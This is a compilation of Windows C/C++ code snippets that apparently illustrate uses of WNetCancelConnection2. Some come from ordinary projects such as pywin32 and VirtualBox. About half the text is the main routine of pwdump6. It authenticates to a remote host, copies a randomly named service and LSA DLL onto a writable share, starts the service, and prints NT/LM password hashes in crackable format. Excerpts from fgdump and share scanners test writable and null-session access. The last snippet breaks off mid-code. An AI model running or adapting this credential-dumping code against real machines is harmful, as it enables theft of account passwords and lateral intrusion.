// @pymethod |win32wnet|WNetCancelConnection2|Closes network connections made by WNetAddConnection2 or 3 static PyObject * PyWNetCancelConnection2 (PyObject *self, PyObject *args) { LPTSTR lpName; // @pyparm string|name||Name of existing connection to be closed DWORD dwFlags; // @pyparm int|flags||Currently determines if the persisent connection information will be updated as a result of this call. DWORD bForce; // @pyparm int|force||indicates if the close operation should be forced. (i.e. ignore open files and connections) DWORD ErrorNo; PyObject *obName; if(!PyArg_ParseTuple(args, "Okk", &obName, &dwFlags, &bForce)) return NULL; if (!PyWinObject_AsTCHAR(obName, &lpName, FALSE)) return NULL; Py_BEGIN_ALLOW_THREADS ErrorNo = WNetCancelConnection2(lpName, dwFlags, (BOOL)bForce); Py_END_ALLOW_THREADS PyWinObject_FreeTCHAR(lpName); if (ErrorNo != NO_ERROR) { return ReturnNetError("WNetCancelConnection2", ErrorNo); } Py_INCREF(Py_None); return Py_None; };
BOOL CancelConnectLocalDevice(char* pszLocalDevice,DWORD dwFlag,BOOL bForce) { if(WNetCancelConnection2(pszLocalDevice,dwFlag,bForce)!=NO_ERROR) return FALSE; else return TRUE; }
bool ShareFinder::BindDrive(char* szDrive, char* szServer, char* szShare) { DWORD dwResult; NETRESOURCE nr; char szTemp[MAX_PATH]; char szTempFilename[MAX_PATH]; ::ZeroMemory(&nr, sizeof(NETRESOURCE)); ::ZeroMemory(szTemp, MAX_PATH); _snprintf_s(szTemp, MAX_PATH, strlen(szServer)+1+strlen(szShare), "%s\\%s", szServer, szShare); nr.dwType = RESOURCETYPE_ANY; nr.lpRemoteName = szTemp; nr.lpProvider = NULL; nr.lpLocalName = szDrive; nr.lpComment = "Added by fgdump"; dwResult = WNetAddConnection2(&nr, (LPSTR) NULL, (LPSTR) NULL, CONNECT_UPDATE_PROFILE); if (dwResult == ERROR_ALREADY_ASSIGNED) { Log.CachedReportError(m_nCacheID, DEBUG, "Already connected to specified resource on drive %s.\n", szDrive); return false; } else if (dwResult == ERROR_DEVICE_ALREADY_REMEMBERED) { Log.CachedReportError(m_nCacheID, DEBUG, "Attempted reassignment of remembered device %s.\n", szDrive); return false; } else if(dwResult != NO_ERROR) { Log.CachedReportError(m_nCacheID, DEBUG, "A generic error occurred binding the drive %s: %d\n", szDrive, dwResult); return false; } Log.CachedReportError(m_nCacheID, DEBUG, "The drive %s is bound to %s, testing write access...\n", szDrive, szShare); ::ZeroMemory(szTempFilename, MAX_PATH); _snprintf_s(szTempFilename, MAX_PATH, strlen(szDrive)+1+strlen(szServer)+7, "%s\\%s.fgdump", szDrive, szServer); std::ofstream outputFile(szTempFilename, std::ios::out | std::ios::trunc); outputFile.write("success", 7); if (outputFile.fail()) { Log.CachedReportError(m_nCacheID, DEBUG, "Error writing the test file to %s, skipping this share (error %d)\n", szShare, GetLastError()); WNetCancelConnection2(szDrive, CONNECT_UPDATE_PROFILE, TRUE); return false; } outputFile.flush(); Log.CachedReportError(m_nCacheID, DEBUG, "Able to write to this directory, using drive %s for cachedump\n", szDrive); outputFile.close(); DeleteFile(szTempFilename); return true; }
bool CWfpNET::IPC_Session_Disconnect(void) // Disconnect NULL IPC$ Sessions { DWORD nStatus = 0; nStatus = WNetCancelConnection2(node.szComputerM,0,1); if(nStatus == NO_ERROR) return true; else return false; }
void ShareFinder::UnbindDrive(char* szDrive) { DWORD dwResult = WNetCancelConnection2(szDrive, CONNECT_UPDATE_PROFILE, TRUE); if (dwResult == ERROR_DEVICE_IN_USE) { Log.CachedReportError(m_nCacheID, CRITICAL, "Unable to disconnect drive %s, it appears another process is using the share. Suggest disconnecting it manually.\n", szDrive); } return; }
void unmap_drive() { if (server_user&&drive_maped) { logfile("unmap\r\n"); ImpersonateLoggedOnUser(server_user); int ec=WNetCancelConnection2(maped_drive,CONNECT_UPDATE_PROFILE,true); if (NO_ERROR!=ec) logfile("WNetCancelConnection2 failed %i\r\n",ec); RevertToSelf(); drive_maped=false; } }
void Session::DisconnectWNet(LPWSTR host) { DWORD ret; std::wstring string; if(host[0] != L'\\' && host[1] != L'\\') { string.append(L"\\\\"); } string.append(host); if((ret = WNetCancelConnection2((LPWSTR)string.c_str(), CONNECT_UPDATE_PROFILE, true)) != NO_ERROR) { Util::Error(ret, L"WNETCancelConnection2():"); } }
/* disconnect from all the sessions that this client asked us to make */ void ss_cleanconnections(PFNAMELIST connects) { PFNAMELIST server, next; for (server = connects; server != NULL; ) { WNetCancelConnection2(server->szFile, 0, 0); /* free block of memory */ next = server->next; LocalUnlock(LocalHandle( (PSTR) server)); LocalFree(LocalHandle( (PSTR) server)); server = next; } connects = NULL; } /* ss_cleanconnections */
static PyObject * netuse_remove_drive(PyObject *self, PyObject *args) { DWORD dwRetVal; char *drive = NULL; int force = 1; if (! PyArg_ParseTuple(args, "si", &drive, &force)) return NULL; dwRetVal = WNetCancelConnection2(drive, 0, force); if (dwRetVal == NO_ERROR) Py_RETURN_NONE; PyErr_Format(PyExc_RuntimeError, "WNetCancelConnection2 failed with error: %lu\n", dwRetVal ); return NULL; }
//---------------------------------------------------------------- BOOL RemoteAuthenticationFilesScan(DWORD iitem, char *ip, DWORD ip_id, char *remote_share, PSCANNE_ST config, long int *id_ok, DWORD id_cb, BOOL multi) { #ifdef DEBUG_MODE_FILES AddMsg(h_main,"DEBUG","files:RemoteAuthenticationFilesScan START",ip); #endif //check file char remote_name[LINE_SIZE], msg[LINE_SIZE]; snprintf(remote_name,LINE_SIZE,"\\\\%s\\%s",ip,remote_share); if (config->nb_accounts == 0) { NETRESOURCE NetRes = {0}; NetRes.dwScope = RESOURCE_GLOBALNET; NetRes.dwType = RESOURCETYPE_ANY; NetRes.lpLocalName = (LPSTR)""; NetRes.lpProvider = (LPSTR)""; NetRes.lpRemoteName = remote_name; char tmp_login[MAX_PATH]=""; if (config->domain[0] != 0) { snprintf(tmp_login,MAX_PATH,"%s\\%s",config->domain,config->login); }else { if (!config->local_account)snprintf(tmp_login,MAX_PATH,"%s\\%s",ip,config->login); } if (WNetAddConnection2(&NetRes,config->password,tmp_login,CONNECT_PROMPT)==NO_ERROR) { if (multi) { DWORD nb_file_check = CheckRecursivFilesList(iitem, remote_name, id_cb); char source[MAX_PATH]; snprintf(source,MAX_PATH,"%s\\%s",ip,remote_share); snprintf(msg,MAX_PATH,"%lu files checked",nb_file_check); AddMsg(h_main,(char*)"INFORMATION (Files)",source,msg); }else { snprintf(msg,LINE_SIZE,"%s\\%s with %s account.",ip,remote_share,tmp_login); AddMsg(h_main,(char*)"LOGIN (Files:NET)",msg,(char*)""); snprintf(msg,LINE_SIZE,"Login NET %s\\%s with %s account",ip,remote_share,tmp_login); AddLSTVUpdateItem(msg, COL_CONFIG, iitem); //check file char file[LINE_SIZE]; DWORD j=0, _nb_i = SendDlgItemMessage(h_main,id_cb,LB_GETCOUNT,(WPARAM)NULL,(LPARAM)NULL); if (id_ok != NULL && *id_ok > ID_ERROR) j = *id_ok; for (;j<_nb_i && scan_start;j++) { if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXTLEN,(WPARAM)j,(LPARAM)NULL) > LINE_SIZE)continue; file[0] = 0; if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXT,(WPARAM)j,(LPARAM)file)) { if (file)CheckFiles(iitem, remote_name, file); } } } WNetCancelConnection2(remote_name,CONNECT_UPDATE_PROFILE,1); #ifdef DEBUG_MODE_FILES AddMsg(h_main,"DEBUG","files:RemoteAuthenticationFilesScan END",ip); #endif return TRUE; } }else if (config->global_ip_file) { NETRESOURCE NetRes = {0}; NetRes.dwScope = RESOURCE_GLOBALNET; NetRes.dwType = RESOURCETYPE_ANY; NetRes.lpLocalName = (LPSTR)""; NetRes.lpProvider = (LPSTR)""; NetRes.lpRemoteName = remote_name; char tmp_login[MAX_PATH]; if (config->accounts[ip_id].domain[0] != 0) { snprintf(tmp_login,MAX_PATH,"%s\\%s",config->accounts[ip_id].domain,config->accounts[ip_id].login); }else { snprintf(tmp_login,MAX_PATH,"%s\\%s",ip,config->accounts[ip_id].login); } if (WNetAddConnection2(&NetRes,config->accounts[ip_id].password,tmp_login,CONNECT_PROMPT)==NO_ERROR) { if (multi) { DWORD nb_file_check = CheckRecursivFilesList(iitem, remote_name, id_cb); char source[MAX_PATH]; snprintf(source,MAX_PATH,"%s\\%s",ip,remote_share); snprintf(msg,MAX_PATH,"%lu files checked",nb_file_check); AddMsg(h_main,(char*)"INFORMATION (Files)",source,msg); }else { snprintf(msg,LINE_SIZE,"%s\\%s with %s (%02d) account.",ip,remote_share,tmp_login,ip_id); AddMsg(h_main,(char*)"LOGIN (Files:NET)",msg,(char*)""); snprintf(msg,LINE_SIZE,"Login NET %s\\%s with %s (%02d) account",ip,remote_share,tmp_login,ip_id); AddLSTVUpdateItem(msg, COL_CONFIG, iitem); //check file char file[LINE_SIZE]; DWORD j, _nb_i = SendDlgItemMessage(h_main,id_cb,LB_GETCOUNT,(WPARAM)NULL,(LPARAM)NULL); if (id_ok != NULL && *id_ok > ID_ERROR) j = *id_ok; for (j=0;j<_nb_i && scan_start;j++) { if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXTLEN,(WPARAM)j,(LPARAM)NULL) > LINE_SIZE)continue; file[0] = 0; if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXT,(WPARAM)j,(LPARAM)file)) { if (file)CheckFiles(iitem, remote_name, file); } } } WNetCancelConnection2(remote_name,CONNECT_UPDATE_PROFILE,1); #ifdef DEBUG_MODE_FILES AddMsg(h_main,"DEBUG","files:RemoteAuthenticationFilesScan END",ip); #endif return TRUE; } }else { unsigned int i; for (i=0; i<config->nb_accounts && scan_start ;i++) { NETRESOURCE NetRes = {0}; NetRes.dwScope = RESOURCE_GLOBALNET; NetRes.dwType = RESOURCETYPE_ANY; NetRes.lpLocalName = (LPSTR)""; NetRes.lpProvider = (LPSTR)""; NetRes.lpRemoteName = remote_name; char tmp_login[MAX_PATH]; if (config->accounts[i].domain[0] != 0) { snprintf(tmp_login,MAX_PATH,"%s\\%s",config->accounts[i].domain,config->accounts[i].login); }else { snprintf(tmp_login,MAX_PATH,"%s\\%s",ip,config->accounts[i].login); } if (WNetAddConnection2(&NetRes,config->accounts[i].password,tmp_login,CONNECT_PROMPT)==NO_ERROR) { if (multi) { DWORD nb_file_check = CheckRecursivFilesList(iitem, remote_name, id_cb); char source[MAX_PATH]; snprintf(source,MAX_PATH,"%s\\%s",ip,remote_share); snprintf(msg,MAX_PATH,"%lu files checked",nb_file_check); AddMsg(h_main,(char*)"INFORMATION (Files)",source,msg); }else { snprintf(msg,LINE_SIZE,"%s\\%s with %s (%02d) account.",ip,remote_share,tmp_login,i); AddMsg(h_main,(char*)"LOGIN (Files:NET)",msg,(char*)""); snprintf(msg,LINE_SIZE,"Login NET %s\\%s with %s (%02d) account",ip,remote_share,tmp_login,i); AddLSTVUpdateItem(msg, COL_CONFIG, iitem); //check file char file[LINE_SIZE]; DWORD j, _nb_i = SendDlgItemMessage(h_main,id_cb,LB_GETCOUNT,(WPARAM)NULL,(LPARAM)NULL); if (id_ok != NULL && *id_ok > ID_ERROR) j = *id_ok; for (j=0;j<_nb_i && scan_start;j++) { if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXTLEN,(WPARAM)j,(LPARAM)NULL) > LINE_SIZE)continue; file[0] = 0; if (SendDlgItemMessage(h_main,id_cb,LB_GETTEXT,(WPARAM)j,(LPARAM)file)) { if (file)CheckFiles(iitem, remote_name, file); } } } WNetCancelConnection2(remote_name,CONNECT_UPDATE_PROFILE,1); #ifdef DEBUG_MODE_FILES AddMsg(h_main,"DEBUG","files:RemoteAuthenticationFilesScan END",ip); #endif return TRUE; } } } #ifdef DEBUG_MODE_FILES AddMsg(h_main,"DEBUG","files:RemoteAuthenticationFilesScan END",ip); #endif return FALSE; }
bool CWfpNET::NetBIOSShares_get(void) { DWORD i = 0, entriesread = 0, resume_handle = 0, totalentries = 0; PSHARE_INFO_1 pBuf = NULL, pTmpBuf = NULL; NET_API_STATUS nStatus = NULL; NETRESOURCE nr; CString tmp, tmp2; bool accessible = false; // The NetShareEnum function retrieves information about each shared // resource on a server. // No special group membership is required for level 0 or level 1 calls. do{ nStatus = NetShareEnum(node.szComputerW, 1, (LPBYTE *) &pBuf, 0xFFFFFFFF, &entriesread, &totalentries, &resume_handle); if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) { if((pTmpBuf = pBuf) != NULL) { for(i = 0; i < entriesread; i++) { if(node.NetBIOS.IsEmpty()) { tmp.Format(_T("\\\\%s\\%S"), node.ipaddress, pTmpBuf->shi1_netname); } else { tmp.Format(_T("\\\\%s\\%S"), node.NetBIOS, pTmpBuf->shi1_netname); } if((pTmpBuf->shi1_type == STYPE_DISKTREE) && (options.optionopensharetest)) { accessible = false; //WNetCancelConnection2(_T("X:") ,CONNECT_UPDATE_PROFILE, TRUE); nr.dwType = RESOURCETYPE_ANY; //nr.lpLocalName = _T("X:"); nr.lpLocalName = NULL; nr.lpRemoteName = tmp.GetBuffer(); nr.lpProvider = NULL; if(WNetAddConnection2(&nr, NULL, NULL, FALSE) == NO_ERROR) { accessible = true; //WNetCancelConnection2(_T("X:") ,CONNECT_UPDATE_PROFILE, TRUE); WNetCancelConnection2(tmp.GetBuffer() ,CONNECT_UPDATE_PROFILE, TRUE); } } tmp2.Format("%s %S %s", tmp, pTmpBuf->shi1_remark, (accessible) ? "accessible with current credentials" : ""); NetBIOSShares.Add(tmp2); pTmpBuf++; } } if(pBuf != NULL) { NetApiBufferFree(pBuf); pBuf = NULL; } } else { // Silence Errors // NetErrorHandler("NetShareEnum", nStatus); return false; } }while (nStatus==ERROR_MORE_DATA); return true; }
int VBoxSharedFoldersAutoUnmount(void) { uint32_t u32ClientId; int rc = VbglR3SharedFolderConnect(&u32ClientId); if (!RT_SUCCESS(rc)) Log(("VBoxTray: Failed to connect to the shared folder service, error %Rrc\n", rc)); else { uint32_t cMappings; VBGLR3SHAREDFOLDERMAPPING *paMappings; rc = VbglR3SharedFolderGetMappings(u32ClientId, true /* Only process auto-mounted folders */, &paMappings, &cMappings); if (RT_SUCCESS(rc)) { for (uint32_t i = 0; i < cMappings && RT_SUCCESS(rc); i++) { char *pszName = NULL; rc = VbglR3SharedFolderGetName(u32ClientId, paMappings[i].u32Root, &pszName); if ( RT_SUCCESS(rc) && *pszName) { Log(("VBoxTray: Disconnecting share %u (%s) ...\n", i+1, pszName)); char *pszShareName; if (RTStrAPrintf(&pszShareName, "\\\\vboxsrv\\%s", pszName) >= 0) { DWORD dwErr = WNetCancelConnection2(pszShareName, 0, FALSE /* Force disconnect */); if (dwErr == NO_ERROR) { LogRel(("VBoxTray: Share \"%s\" was disconnected\n", pszShareName)); RTStrFree(pszShareName); RTStrFree(pszName); break; } LogRel(("VBoxTray: Disconnecting \"%s\" failed, dwErr = %ld\n", pszShareName, dwErr)); switch (dwErr) { case ERROR_NOT_CONNECTED: break; default: LogRel(("VBoxTray: Error while disconnecting shared folder \"%s\", error = %ld\n", pszShareName, dwErr)); break; } RTStrFree(pszShareName); } else rc = VERR_NO_MEMORY; RTStrFree(pszName); } else Log(("VBoxTray: Error while getting the shared folder name for root node = %u, rc = %Rrc\n", paMappings[i].u32Root, rc)); } RTMemFree(paMappings); } else Log(("VBoxTray: Error while getting the shared folder mappings, rc = %Rrc\n", rc)); VbglR3SharedFolderDisconnect(u32ClientId); } return rc; }
int main(int argc, char* argv[]) { char c; int i; char errMsg[1024]; FILE* outfile = stdout; SC_HANDLE hscm = NULL; SC_HANDLE hsvc = NULL; char* szWritableShare = NULL; char* szWritableSharePhysical = NULL; char machineName[MAX_PATH]; char* machineArg; char resourceName[MAX_PATH]; char szFullServicePath[MAX_PATH]; char szRemoteServicePath[MAX_PATH]; char szRemoteLsaExtPath[MAX_PATH]; char szFullLocalServicePath[MAX_PATH]; char szFullLocalLsaExtPath[MAX_PATH]; char pwBuf[256]; char* password = NULL; char* userName = NULL; char localPath[MAX_PATH]; char szDestinationServicePath[MAX_PATH]; char szDestinationDllPath[MAX_PATH]; char* szSelectedShareName = NULL; char* varg[8]; char dwLen; SERVICE_STATUS statusService; BOOL bSkipHistories = FALSE; char szGUIDServiceName[CHARS_IN_GUID + 1]; char* szServiceFileName; char* szLsaExtFileName; bool bIs64Bit = false; ResourceLoader rlLsaExt, rlPwServ; char szCurrentDir[MAX_PATH]; bool bIsLocalRun = false; bool setPasswordHash = false; //OutputDebugString("PWDump Starting"); srand((unsigned int)time(NULL)); pEncryptionKey = NULL; if(argc < 2) { Usage(argv[0]); return 0; } /* fprintf(stderr, "\npwdump6 Version %s by fizzgig and the mighty group at foofus.net\n", PWDUMP_VERSION); fprintf(stderr, "** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **\n"); fprintf(stderr, "Copyright 2009 foofus.net\n\n"); fprintf(stderr, "This program is free software under the GNU\n"); fprintf(stderr, "General Public License Version 2 (GNU GPL), you can redistribute it and/or\n"); fprintf(stderr, "modify it under the terms of the GNU GPL, as published by the Free Software\n"); fprintf(stderr, "Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\n"); fprintf(stderr, "PROGRAM. Please see the COPYING file included with this program\n"); fprintf(stderr, "and the GNU GPL for further details.\n\n" ); */ while ((c = getopt(argc, argv, "xnhu:o:p:s:i:")) != EOF) { switch(c) { case 'h': // Print help and exit Usage(argv[0]); return 0; break; case 'u': // Set the user name userName = optarg; break; case 'o': // Set the output file name - opened in Unicode outfile = fopen(optarg, "w, ccs=UTF-16LE"); if(!outfile) { sprintf(errMsg, "Couldn't open %s for writing.\n", optarg); throw errMsg; } break; case 'p': // Set the password password = optarg; break; case 's': // Force this share to be used for uploading szSelectedShareName = optarg; break; case 'n': // Do not dump password histories bSkipHistories = true; break; case 'i': setPasswordHash = true; break; case 'x': // Target x64 bIs64Bit = true; break; default: printf("Unrecognized option: %c\n", c); break; } } // At this point, should have optarg pointing to at least the machine name if (optarg == NULL) { // No machine fprintf(stderr, "No target specified\n\n"); Usage(argv[0]); return 0; } machineArg = optarg; while(*machineArg == '\\') machineArg++; sprintf(machineName, "\\\\%s", machineArg); if (stricmp(machineName, "\\\\localhost") == 0 || stricmp(machineName, "\\\\127.0.0.1") == 0 || stricmp(machineName, "localhost") == 0 || stricmp(machineName, "127.0.0.1") == 0) { bIsLocalRun = true; } // Prompt for a password if a user but no password is specified if (password == NULL && userName != NULL) { i = 0; c = 0; fprintf(stderr, "Please enter the password > " ); while(c != '\r') { c = _getch(); pwBuf[i++] = c; _putch('*'); } pwBuf[--i] = 0; _putch('\r'); _putch('\n'); password = (char*)pwBuf; } memset(resourceName, 0, MAX_PATH); memset(szFullLocalServicePath, 0, MAX_PATH); memset(szFullLocalLsaExtPath, 0, MAX_PATH); memset(szRemoteServicePath, 0, MAX_PATH); memset(szRemoteLsaExtPath, 0, MAX_PATH); memset(szDestinationServicePath, 0, MAX_PATH); memset(szDestinationDllPath, 0, MAX_PATH); if (GetCurrentDirectory(MAX_PATH, szCurrentDir) == 0) { // Can't get the current working dir?!?!? WTF? fprintf(stderr, "Unable to get the current working directory\n"); return -1; } //printf("Current directory for pwdump is %s\n", szCurrentDir); szServiceFileName = (char*)malloc(MAX_PATH + 1); szLsaExtFileName = (char*)malloc(MAX_PATH + 1); // Generate a random name for the service (and file) and DLL if (!GetRandomName((char**)&szServiceFileName, 5, 10)) { sprintf(errMsg, "Filename size mismatch\n"); throw errMsg; } if (!GetRandomName((char**)&szLsaExtFileName, 5, 10)) { sprintf(errMsg, "Filename size mismatch\n"); throw errMsg; } sprintf(szFullLocalServicePath, "%s\\%s.exe", szCurrentDir, szServiceFileName); sprintf(szFullLocalLsaExtPath, "%s\\%s.dll", szCurrentDir, szLsaExtFileName); //sprintf(szFullLocalServicePath, "%s\\servpw.exe", szCurrentDir); //sprintf(szFullLocalLsaExtPath, "%s\\lsremora.dll", szCurrentDir); // Pull the resources out of the EXE and put them on the file system // We will use the resources appropriate to the target (32 vs. 64-bit) if (bIs64Bit) { rlLsaExt.UnpackResource(IDR_LSAEXT64, szFullLocalLsaExtPath); rlPwServ.UnpackResource(IDR_PWSERV64, szFullLocalServicePath); } else { rlLsaExt.UnpackResource(IDR_LSAEXT, szFullLocalLsaExtPath); rlPwServ.UnpackResource(IDR_PWSERV, szFullLocalServicePath); } // If we're running against the local machine, don't bother doing any of the networking stuff. // It actually prevents pwdump from running if networking is disabled. if (bIsLocalRun) { strncpy(szFullServicePath, szFullLocalServicePath, MAX_PATH); strncpy(szRemoteServicePath, szFullLocalServicePath, MAX_PATH); strncpy(szRemoteLsaExtPath, szFullLocalLsaExtPath, MAX_PATH); /*if (bIs64Bit) sprintf(szFullServicePath, "%s\\servpw64.exe", szCurrentDir); else sprintf(szFullServicePath, "%s\\servpw.exe", szCurrentDir);*/ } else { try { // connect to machine NETRESOURCE rec; int rc; rec.dwType = RESOURCETYPE_DISK; rec.lpLocalName = NULL; rec.lpProvider = NULL; szWritableShare = (char*)malloc(MAX_PATH + 1); szWritableSharePhysical = (char*)malloc(MAX_PATH + 1); memset(szWritableShare, 0, MAX_PATH + 1); memset(szWritableSharePhysical, 0, MAX_PATH + 1); GetModuleFileName(NULL, localPath, MAX_PATH); if (szSelectedShareName == NULL) { // Need to establish a connection to enumerate shares sometimes sprintf(resourceName, "%s\\IPC$", machineName); rec.lpRemoteName = resourceName; rc = WNetAddConnection2(&rec, password, userName, 0); if(rc != ERROR_SUCCESS) { sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc); throw errMsg; } if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare)) { sprintf(errMsg, "Unable to find writable share on %s\n", machineName); throw errMsg; } } else { // For a known share, connect first to establish a trusted connection, then get details about the share sprintf(resourceName, "%s\\%s", machineName, szSelectedShareName); rec.lpRemoteName = resourceName; rc = WNetAddConnection2(&rec, password, userName, 0); if(rc != ERROR_SUCCESS) { sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc); throw errMsg; } if (!CanUpload(resourceName)) { sprintf(errMsg, "Failed to upload to the specified share on %s\n", machineName); throw errMsg; } if (!GetPhysicalPathForShare(machineName, szSelectedShareName, &szWritableSharePhysical, MAX_PATH)) { sprintf(errMsg, "Failed to get the physical path for the specified share on %s\n", machineName); throw errMsg; } strncpy(szWritableShare, resourceName, MAX_PATH); } if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0/* || strlen(szLocalDrive) <= 0*/) { sprintf(errMsg, "Unable to find a writable share on %s\n", machineName); throw errMsg; } sprintf(szRemoteServicePath, "%s\\%s.exe", szWritableSharePhysical, szServiceFileName); sprintf(szRemoteLsaExtPath, "%s\\%s.dll", szWritableSharePhysical, szLsaExtFileName); // Copy dll file to remote machine /*strcpy(rDllname, szWritableShare); if (bIs64Bit) { strcpy(strrchr(localPath, '\\') + 1, "lsremora64.dll"); strcat(rDllname, "\\lsremora64.dll"); } else { strcpy(strrchr(localPath, '\\') + 1, "lsremora.dll"); strcat(rDllname, "\\lsremora.dll"); }*/ strncpy(szDestinationServicePath, szWritableShare, MAX_PATH); strncat(szDestinationServicePath, "\\", 1); strncat(szDestinationServicePath, szServiceFileName, MAX_PATH); strncat(szDestinationServicePath, ".exe", 4); // Uh, why not just COPY the file rather than its stream? if (!CopyFile(szFullLocalServicePath, szDestinationServicePath, FALSE)) { sprintf(errMsg, "Couldn't copy %s to destination %s. (Error %d)\n", szRemoteServicePath, szDestinationServicePath, GetLastError()); throw errMsg; } // Copy the service file to remote machine /*if (bIs64Bit) strcpy(strrchr(localPath, '\\') + 1, "servpw64.exe"); else strcpy(strrchr(localPath, '\\') + 1, "servpw.exe"); strcpy(rExename, szWritableShare); strcat(rExename, "\\"); strcat(rExename, szServiceFileName); strcat(rExename, ".exe");*/ strncpy(szDestinationDllPath, szWritableShare, MAX_PATH); strncat(szDestinationDllPath, "\\", 1); strncat(szDestinationDllPath, szLsaExtFileName, MAX_PATH); strncat(szDestinationDllPath, ".dll", 4); if (!CopyFile(szFullLocalLsaExtPath, szDestinationDllPath, FALSE)) { sprintf(errMsg, "Couldn't copy %s to destination %s.\n", szRemoteLsaExtPath, szDestinationDllPath); throw errMsg; } } catch(char* msg) { WNetCancelConnection2(resourceName, 0, false); if(msg) printf(msg); if(outfile) fclose(outfile); if (szWritableShare != NULL) free(szWritableShare); if (szWritableSharePhysical != NULL) free(szWritableSharePhysical); #ifdef _DEBUG printf("Press return to exit...\n"); scanf("..."); #endif return -1; } } try { // Need to create a guid for the pipe name memset(wszGUID, 0, CHARS_IN_GUID + 1); memset(szGUID, 0, CHARS_IN_GUID + 1); CoCreateGuid(&guidPipe); StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID); wsprintf(szGUID, "%ls", wszGUID); // establish the service on remote machine if (!bIsLocalRun) hscm = OpenSCManager(machineName, NULL, SC_MANAGER_CREATE_SERVICE); // Remote service connection else hscm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // Local service connection if(!hscm) { sprintf(errMsg, "Failed to open SCM\n"); throw errMsg; } CoCreateGuid(&guidPipe); StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID); wsprintf(szGUIDServiceName, "%ls", wszGUID); // Give the service a GUID name //strncpy(szServiceFileName, "servpw", MAX_PATH); //printf("My service file name is: %s\n", szServiceFileName); hsvc = CreateService(hscm, szServiceFileName, szGUIDServiceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, szRemoteServicePath, NULL, NULL, NULL, NULL, NULL); if(!hsvc) { int n = GetLastError(); hsvc = OpenService(hscm, szServiceFileName, SERVICE_ALL_ACCESS); if(!hsvc) { sprintf(errMsg, "Failed to create service (%s/%s), error %d\n", szFullServicePath, szGUIDServiceName, GetLastError()); throw errMsg; } } // Open named pipe hThread = _beginthreadex(NULL, 0, (unsigned (_stdcall *)(void *))NamedPipeThread, (void*)machineName, 0, (unsigned*)&nThreadID); if (hThread == NULL) { sprintf(errMsg, "Unable to create named pipe thread, error %d\n", GetLastError()); throw errMsg; } // Create a 16 byte encryption key // ** THIS IS NOT A CRYPTOGRAPHICALLY STRONG SOLUTION!!!! ** // You have been warned LARGE_INTEGER liSeed; pEncryptionKey = (BYTE*)malloc(16); for (i = 0; i < 16; i++) { QueryPerformanceCounter(&liSeed); srand(liSeed.LowPart); pEncryptionKey[i] = rand() & 0xff; // HACK FIX!!! // // Encryption breaks if there is a zero byte in the key // if (pEncryptionKey[i] == 0) pEncryptionKey[i] = 1; //pEncryptionKey[i] = 1; } // Set up service params. Need to set up a temporary char array so that // non-strings can be null-terminated. char szTemp1[2], szTemp2[2]; memset(szTemp1, 0, 2); memset(szTemp2, 0, 2); dwLen = 16; varg[0] = szGUID; varg[1] = (char*)pEncryptionKey; varg[4] = szServiceFileName; varg[5] = szRemoteLsaExtPath; varg[6] = szCurrentDir; if (setPasswordHash) { varg[7] = "set"; } else { varg[7] = "dump"; } memcpy(szTemp1, &dwLen, 1); varg[2] = szTemp1; szTemp2[0] = (char)bSkipHistories; varg[3] = szTemp2; Blowfish_Init(&ctx, pEncryptionKey, dwLen); if(!StartService(hsvc, 8, (const char**)varg)) { sprintf(errMsg, "Service start failed: %d (%s/%s)\n", GetLastError(), szRemoteServicePath, szGUIDServiceName); throw errMsg; } // when the executable is finished running, it can be deleted - clean up BOOL bRet; for(i = 0; ; i++) { if(i == 99) fprintf(stderr, "Waiting for remote service to terminate...\n"); else if(i == 199) fprintf(stderr, "Servers with many user accounts can take several minutes\n"); else if(i % 100 == 99) fprintf(stderr, "."); Sleep(100); if (szDestinationServicePath[0] != 0) { if(DeleteFile(szDestinationServicePath)) break; } else { // If we're running locally, just query the service's status bRet = QueryServiceStatus(hsvc, &statusService); if (!bRet) { fprintf(stderr, "Unable to query service status. Something is wrong, please manually check the status of servpw\n"); break; } if (statusService.dwCurrentState == SERVICE_STOPPED) break; } } fprintf(stderr, "\n"); if (szDestinationDllPath[0] != 0) { if(!DeleteFile(szDestinationDllPath)) fprintf(stderr, "Couldn't delete target executable from remote machine: %d\n", GetLastError()); } WaitForSingleObject((void*)hThread, INFINITE); // Go through each structure and output the password data if (lpUserInfoArray == NULL) { printf("No data returned from the target host\n"); } else { USERINFO* pTemp; wchar_t LMdata[40]; wchar_t NTdata[40]; wchar_t *p; int i; for (unsigned long index = 0; index < nUserInfoArraySize; index++) { pTemp = lpUserInfoArray + index; DWORD* dwdata = (DWORD*)(pTemp->cHash); // Get LM hash if((dwdata[4] == 0x35b4d3aa) && (dwdata[5] == 0xee0414b5) && (dwdata[6] == 0x35b4d3aa) && (dwdata[7] == 0xee0414b5)) { swprintf(LMdata, L"NO PASSWORD*********************"); } else { for(i = 16, p = LMdata; i < 32; i++, p += 2) { swprintf(p, L"%02X", pTemp->cHash[i] & 0xFF); } } // Get NT hash if((dwdata[0] == 0xe0cfd631) && (dwdata[1] == 0x31e96ad1) && (dwdata[2] == 0xd7593cb7) && (dwdata[3] == 0xc089c0e0)) { swprintf(NTdata, L"NO PASSWORD*********************"); } else { for(i = 0, p = NTdata; i < 16; i++, p += 2) { swprintf(p, L"%02X", pTemp->cHash[i] & 0xFF); } } // display data in L0phtCrack-compatible format // Try converting data to Unicode fwprintf(outfile, L"%ls:%ls%ls\n", pTemp->wszUser, NTdata, LMdata); } } throw "Completed.\n"; } // clean up catch(char* msg) { if (pEncryptionKey != NULL) { memset(pEncryptionKey, 0, 16); free(pEncryptionKey); } if (lpUserInfoArray != NULL) GlobalFree(lpUserInfoArray); if(hsvc) { DeleteService(hsvc); 